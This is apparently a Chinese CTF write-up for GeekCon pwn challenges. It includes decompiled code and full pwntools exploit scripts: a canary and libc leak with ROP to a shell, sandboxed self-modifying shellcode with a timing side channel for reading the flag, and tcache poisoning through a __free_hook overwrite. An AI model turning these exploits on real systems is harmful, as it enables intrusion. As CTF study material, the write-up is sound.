题目附件https://github.com/nyyyddddn/ctf/tree/main/geekcon

pwnable

Memo0

有一个login函数,login success了会调用一个输出flag的函数

unsigned __int64 login()
{
  unsigned __int64 v0; // rax
  size_t v1; // rax
  _BYTE *s1; // [rsp+8h] [rbp-38h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Please enter your password: ");
  __isoc99_scanf("%29s", s);
  v0 = strlen(s);
  s1 = sub_12E9((__int64)s, v0);
  if ( !s1 )
  {
    puts("Error!");
    exit(-1);
  }
  v1 = strlen(s2);
  if ( memcmp(s1, s2, v1) )
  {
    puts("Password Error.");
    exit(-1);
  }
  puts("Login Success!");
  sub_1623();
  free(s1);
  return v5 - __readfsqword(0x28u);
}

三个字节转换成四个一组然后 sbox,很明显是base64,然后把索引表换了

_BYTE *__fastcall sub_12E9(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v3; // rax
  unsigned __int64 v4; // rax
  int v5; // eax
  unsigned __int64 v6; // rax
  int v7; // eax
  __int64 v8; // rax
  int i; // [rsp+1Ch] [rbp-34h]
  int v10; // [rsp+20h] [rbp-30h]
  int v11; // [rsp+24h] [rbp-2Ch]
  unsigned int v12; // [rsp+2Ch] [rbp-24h]
  unsigned __int64 v13; // [rsp+30h] [rbp-20h]
  __int64 v14; // [rsp+38h] [rbp-18h]
  unsigned __int64 v15; // [rsp+40h] [rbp-10h]
  _BYTE *v16; // [rsp+48h] [rbp-8h]

  v15 = 4 * ((a2 + 2) / 3);
  v16 = malloc(v15 + 1);
  if ( !v16 )
    return 0LL;
  v13 = 0LL;
  v14 = 0LL;
  while ( v13 < a2 )
  {
    v3 = v13++;
    v10 = *(unsigned __int8 *)(a1 + v3);
    if ( v13 >= a2 )
    {
      v5 = 0;
    }
    else
    {
      v4 = v13++;
      v5 = *(unsigned __int8 *)(a1 + v4);
    }
    v11 = v5;
    if ( v13 >= a2 )
    {
      v7 = 0;
    }
    else
    {
      v6 = v13++;
      v7 = *(unsigned __int8 *)(a1 + v6);
    }
    v12 = (v11 << 8) + (v10 << 16) + v7;
    v16[v14] = aZyxwvutsrqponm[(v12 >> 18) & 0x3F];
    v16[v14 + 1] = aZyxwvutsrqponm[(v12 >> 12) & 0x3F];
    v16[v14 + 2] = aZyxwvutsrqponm[(v12 >> 6) & 0x3F];
    v8 = v14 + 3;
    v14 += 4LL;
    v16[v8] = aZyxwvutsrqponm[v12 & 0x3F];
  }
  for ( i = 0; i < (3 - a2 % 3) % 3; ++i )
    v16[v15 - i - 1] = '=';
  v16[v15] = 0;
  return v16;
}

直接解密拿到login用的password,login后拿到flag

Memo1

memo1在memo0的基础上去掉了backdoor函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  unsigned int v5; // [rsp+8h] [rbp-118h]
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v7; // [rsp+118h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  sub_1594(a1, a2, a3);
  puts("===================Memo Login===================");
  login();
  v5 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      v3 = sub_188A();
      if ( v3 != 4 )
        break;
      v5 = 0;
      memset(s, 0, 0x100uLL);
    }
    if ( v3 > 4 )
      break;
    switch ( v3 )
    {
      case 3:
        sub_17F2(s, v5);
        break;
      case 1:
        v5 += sub_1780(s, v5);
        break;
      case 2:
        puts("Content:");
        puts(s);
        break;
      default:
        goto LABEL_12;
    }
  }
LABEL_12:
  puts("Error Choice!");
  return 0LL;
}

在这个子函数里面存在一个有符号数转无符号数的溢出,由于程序存在canary 得控制输入数据在恰当大小下用puts把canary泄露出来,补码中接近0的负数 高位全是1,所以得找一个尽可能远离0的负数,搜索八个字节有符号整数能表示的最小的数是 -9223372036854775808,所以只需要构造一个 -9223372036854775808 + size的表达式,就能控制read to buf的size

unsigned __int64 __fastcall sub_17F2(__int64 a1, unsigned int a2)
{
  __int64 v3; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("How many characters do you want to change:");
  __isoc99_scanf("%lld", &v3);
  if ( a2 > v3 )
  {
    read_to_buf(a1, v3);
    puts("Done!");
  }
  return v4 - __readfsqword(0x28u);
}

通过puts去泄露libc和canary的值,然后打rop就好了

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chall.geekctf.geekcon.top"
PORT = 40311

elf = context.binary = ELF('./memo1')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

password ="CTF_is_interesting_isn0t_it?" 
sla("Please enter your password:",password)


def add(data):
    sla("Your choice:","1")
    sla("What do you want to write in the memo:",data)

def show():
    sla("Your choice:","2")

def edit(num,data):
    sla("Your choice:","3")
    sla("How many characters do you want to change:",str(num))
    s(data)


add(b'a' * 0x10)
edit((-9223372036854775808 + (0x110 - 8 + 1)),b"G" * (0x110 - 8 + 1))
show()
ru(b"G" * (0x110 - 8))
leak_canary = u64(r(8)) & 0xffffffffffffff00
success(f"libc_base ->{hex(leak_canary)}")


payload = b'G' * (0x110 - 8) + b'G' * 0x10
edit((-9223372036854775808 + (0x118)),payload)
show()

ru(b'G' * (0x110 - 8) + b'G' * 0x10)

libc_base = u64(r(6).ljust(8,b'\x00')) - (0x732289629d90 - 0x732289600000)
success(f"libc_base ->{hex(libc_base)}")

rdi = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
ret = libc_base + 0x00000000000c45e3 # 0x00000000000c45e3 : sub rax, 1 ; ret

payload = b'G' * (0x110 - 8) + p64(leak_canary) + b'G' * 8 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)

edit((-9223372036854775808 + (len(payload))),payload)
sla("Your choice:","5")

p.interactive()

shellcode

好难,这个shellcode,有一个沙箱,得用侧信道爆破,不过侧信道爆破这个问题不大,难的地方在绕过这个沙箱最好的方法是 sysycall read一次,但是syscall两个字节取余后都为1,然后( (char)(*((char *)buf + i) % 2) != i % 2 ) 取余判断这里 其实是存在一个溢出的,也就是说只能用 127以下的指令去实现self modifying code 造一个syscall read,能用的指令非常有限,搓出 sysycall read之后,填充大量的nop在nop后边写一个 open read cmp的逻辑,如果cmp成功就陷入一个比较大的循环,通过每次交互的时间差来判断flag的内容

处理时间差的策略是,针对每个pos 记录下 start_time 和 end_time的差,找出其中最大的差

__int64 sub_1290()
{
  __int64 result; // rax
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  result = seccomp_load(v1);
  if ( (int)result < 0 )
  {
    perror("seccomp_load failed");
    exit(1);
  }
  return result;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int i; // [rsp+0h] [rbp-10h]
  int v5; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sub_1249(a1, a2, a3);
  puts("Please input your shellcode: ");
  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  sub_1290();
  v5 = read(0, buf, 0x200uLL);
  for ( i = 0; i < v5; ++i )
  {
    if ( (char)(*((char *)buf + i) % 2) != i % 2 )
      return 0xFFFFFFFFLL;
  }
  ((void (*)(void))buf)();
  return 0LL;
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
import time

context(os='linux', arch='amd64')
# # context.log_level='debug'

is_debug = 0

IP = "chall.geekctf.geekcon.top"
PORT = 40245

elf = context.binary = ELF('./shellcode')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# *RAX  0x730d36646000 ◂— 0x6162 /* 'ba' */
#  RBX  0x0
#  RCX  0x1
#  RDX  0x0
#  RDI  0x0
#  RSI  0x730d36646000 ◂— 0x6162 /* 'ba' */
#  R8   0x5c750189bb10 ◂— 0x5c70c6d9a48b
#  R9   0x5c750189bb10 ◂— 0x5c70c6d9a48b
#  R10  0x1
#  R11  0x246
#  R12  0x7fffc7a464e8 —▸ 0x7fffc7a47553 ◂— '/home/lhj/Desktop/geekcon/shellcode/shellcode'
#  R13  0x5c7500bd1313 ◂— endbr64 
#  R14  0x0
#  R15  0x730d36649040 (_rtld_global) —▸ 0x730d3664a2e0 —▸ 0x5c7500bd0000 ◂— 0x10102464c457f
#  RBP  0x7fffc7a463d0 ◂— 0x1
#  RSP  0x7fffc7a463c0 ◂— 0x200000002
# *RIP  0x5c7500bd13d5 ◂— call rax

# b'\x0f\x05'
# add byte ptr[rcx],al 00 01
# add dword ptr[rsi],eax 01 06

strlist = "abcdefghijklmnopqrstuvwxyz0123456789_-+=@$%^&*({}\\|/?"
flag = ''

for pos in range(0,4):

    total = 0
    str_str = 0
    for byte in strlist:
        p = connect()
        start = time.time()

        try:
            p.recvuntil('shellcode: ')
            shellcode = b"\x90\x01\x18\x59\x6a\x3b\x5a\x59\x4c\x01\x18\x59\x48\x01\x10\x59\x6a\x7f\x5a\x59\x48\x01\x10\x59\x48\x01\x10\x59\x68\x01\x00\x01\x00\x59\x50\x51\x5a\x59\x48\x31\xc0\x59\x48\x39\xd2\x59\x56\x59\x50\x51\xc2"
            p.send(shellcode)

            payload = asm('nop') * 0x10
            payload += asm(f'''
                    mov r15,rsi
                    add r15,0x100 
                    mov rax,2
                    mov rdi,r15
                    mov rsi,0
                    syscall

                    mov rax,0
                    mov rdi,3
                    mov rsi,r15
                    mov rdx,0x100
                    syscall
                   
                    mov r14,0x7fff0000
                    loop:
                        sub r14,1
                        cmp r14,0
                        jz $+200
                        mov al, byte ptr[r15+{pos}]
                        cmp al,{ord(byte)}
                        jz loop
                    ''')
            payload = payload.ljust(0x100,asm('nop'))
            payload += b'./flag\x00\x00'
            
            p.send(payload)
            p.recvuntil("aaaa")
            p.interactive()
        except:
            end = time.time()
            if end-start>total:
                str_str=byte
                total = end-start
        p.close()

    flag += str_str
    success(flag)
    if str_str == '}':
        break

success(flag)

flat

题目加了控制流平坦化,第一次做这种类型的题,找了好多项目去修复,发现都缺少逻辑,可能是题目做了什么手脚

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  unsigned int i; // [rsp+21Ch] [rbp-164h]
  int v4; // [rsp+220h] [rbp-160h]
  int data_to_int; // [rsp+224h] [rbp-15Ch]
  unsigned int idx_4; // [rsp+228h] [rbp-158h]
  unsigned int idx; // [rsp+228h] [rbp-158h]
  unsigned int idx_3; // [rsp+228h] [rbp-158h]
  unsigned int idx_2; // [rsp+228h] [rbp-158h]
  unsigned int idx_1; // [rsp+228h] [rbp-158h]
  int choice; // [rsp+238h] [rbp-148h]

  v4 = 1;
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        while ( 1 )
        {
          choice = read_data_to_int();
          if ( choice < 4919 )
            break;
          if ( choice < 48879 )
          {
            if ( choice == 4919 )
            {
              idx = read_data_to_int();
              if ( idx > 0x1F || !chunk_list[idx].chunk_addr )
                exit(0);
              free((void *)chunk_list[idx].chunk_addr);
              chunk_list[idx].chunk_addr = 0LL;
              LODWORD(chunk_list[idx].chunk_size) = 0;
            }
          }
          else if ( choice < 57005 )
          {
            if ( choice == 48879 )
              exit(0);
          }
          else if ( choice == 57005 )
          {
            idx_1 = read_data_to_int();
            if ( idx_1 > 0x1F || !chunk_list[idx_1].chunk_addr || !LODWORD(chunk_list[idx_1].chunk_size) )
              exit(0);
            puts((const char *)chunk_list[idx_1].chunk_addr);
          }
        }
        if ( choice < 2989 )
          break;
        if ( choice < 4112 )
        {
          if ( choice == 2989 )
          {
            if ( !v4 )
              exit(0);
            v4 = 0;
            idx_2 = read_data_to_int();
            if ( idx_2 > 0x1F || !chunk_list[idx_2].chunk_addr || !LODWORD(chunk_list[idx_2].chunk_size) )
              exit(0);
            for ( i = 0; i < LODWORD(chunk_list[idx_2].chunk_size); ++i )
              read(0, (void *)((char)i + chunk_list[idx_2].chunk_addr), 1uLL);
          }
        }
        else if ( choice == 4112 )
        {
          idx_3 = read_data_to_int();
          if ( idx_3 > 0x1F || !chunk_list[idx_3].chunk_addr || !LODWORD(chunk_list[idx_3].chunk_size) )
            exit(0);
          read_to_buf(chunk_list[idx_3].chunk_addr, chunk_list[idx_3].chunk_size);
        }
      }
    }
    while ( choice != 768 );
    idx_4 = read_data_to_int();
    if ( idx_4 > 0x1F || LODWORD(chunk_list[idx_4].chunk_size) || chunk_list[idx_4].chunk_addr )
      exit(0);
    data_to_int = read_data_to_int();
    if ( data_to_int <= 0 || data_to_int > 2048 )
      exit(0);
    LODWORD(chunk_list[idx_4].chunk_size) = data_to_int;
    chunk_list[idx_4].chunk_addr = (__int64)malloc(data_to_int);
    read_to_buf(chunk_list[idx_4].chunk_addr, chunk_list[idx_4].chunk_size);
  }
}

只能还原成这样了,漏洞是调试出来的,我构造了很多输入,发现在只有一次 使用机会的edit选项里,当chunk的 udata > 0x80 时候会把 大小为 udata_size - 0x80 的数据 复制到 udata_addr - 0x80的位置,也就是存在一个memcpy的逻辑

初始化chunk和另一个编辑函数都存在00截断,那只有一次memcpy的机会,怎么样同时做到tcache poison 和 覆盖00位泄露地址?

思考了很久想出这样一种堆布局,memcpy 去覆盖一个inused 状态下chunk的size位置 和 把相邻chunk中的00 位置填充,这样不就能拿实现堆叠,通过堆叠打tcache poison 以及 解决 00截断的问题吗?

利用unsortedbin 切分残留的地址去泄露libc,然后打free hook就好了

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chall.geekctf.geekcon.top"
PORT = 40246

elf = context.binary = ELF('./flat')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

def show(idx):
    sl("57005")
    sl(str(idx))

def delete(idx):
    sl("4919")
    sl(str(idx))

def create(idx,size,data):
    sl("768")
    sl(str(idx))
    sl(str(size))
    sl(data)

# 当一个堆块的size > 0x80 时, 使用 edit(idx,data),满足len(data) > 0x80, 会将 len(data) - 0x80 的大小的数据 复制到 chunk的udata - 0x80位置
def edit(idx,data):
    sl("2989")
    sl(str(idx))
    s(data)


def edit2(idx,data):
    sl("4112")
    sl(str(idx))
    sl(data)


create(0,0x500,"A" * 0x500)
create(1,0x20,"A")
delete(0)

create(2,0x10,"A") # modify this chunk->size
create(3,0x10,"A") # leak libc
create(4,0x20,b"/bin/sh")
create(5,0xb8,"C") # vuln

# 0xb8
payload = b'C' * 0x80
payload += p64(0) + p64(0x101) + b'C' * 0x18
payload += p64(0x21) + b'C' * 8
edit(5,payload)

show(3)

ru("C" * 8)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x000074274af14be0 - 0x74274ad28000)
success(f"libc_base -> {hex(libc_base)}")
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

create(13,0x10,"SSSS")
create(6,0x3C0 - 0x10,"SSSS") # clean unsorted bin

# heap overlap
delete(2)
delete(13)
delete(3)

free_hook_low = free_hook & 0xffffffff
free_hook_high = (free_hook >> 32) & 0xffff
create(7,0xf0,b"S" * 0x18 + p64(0x21) + p32(free_hook_low) + p16(free_hook_high))


create(8,0x10,"SSSS")
create(9,0x10,p64(system))

delete(4)

p.interactive()

misc

WhereisMyFlag

.py文件中藏了一段 base64 decode的代码,复制出来后把结果写出来发现是一个压缩文件,gunzip 解压后 使用zcat去查看得到flag

⬆︎TOP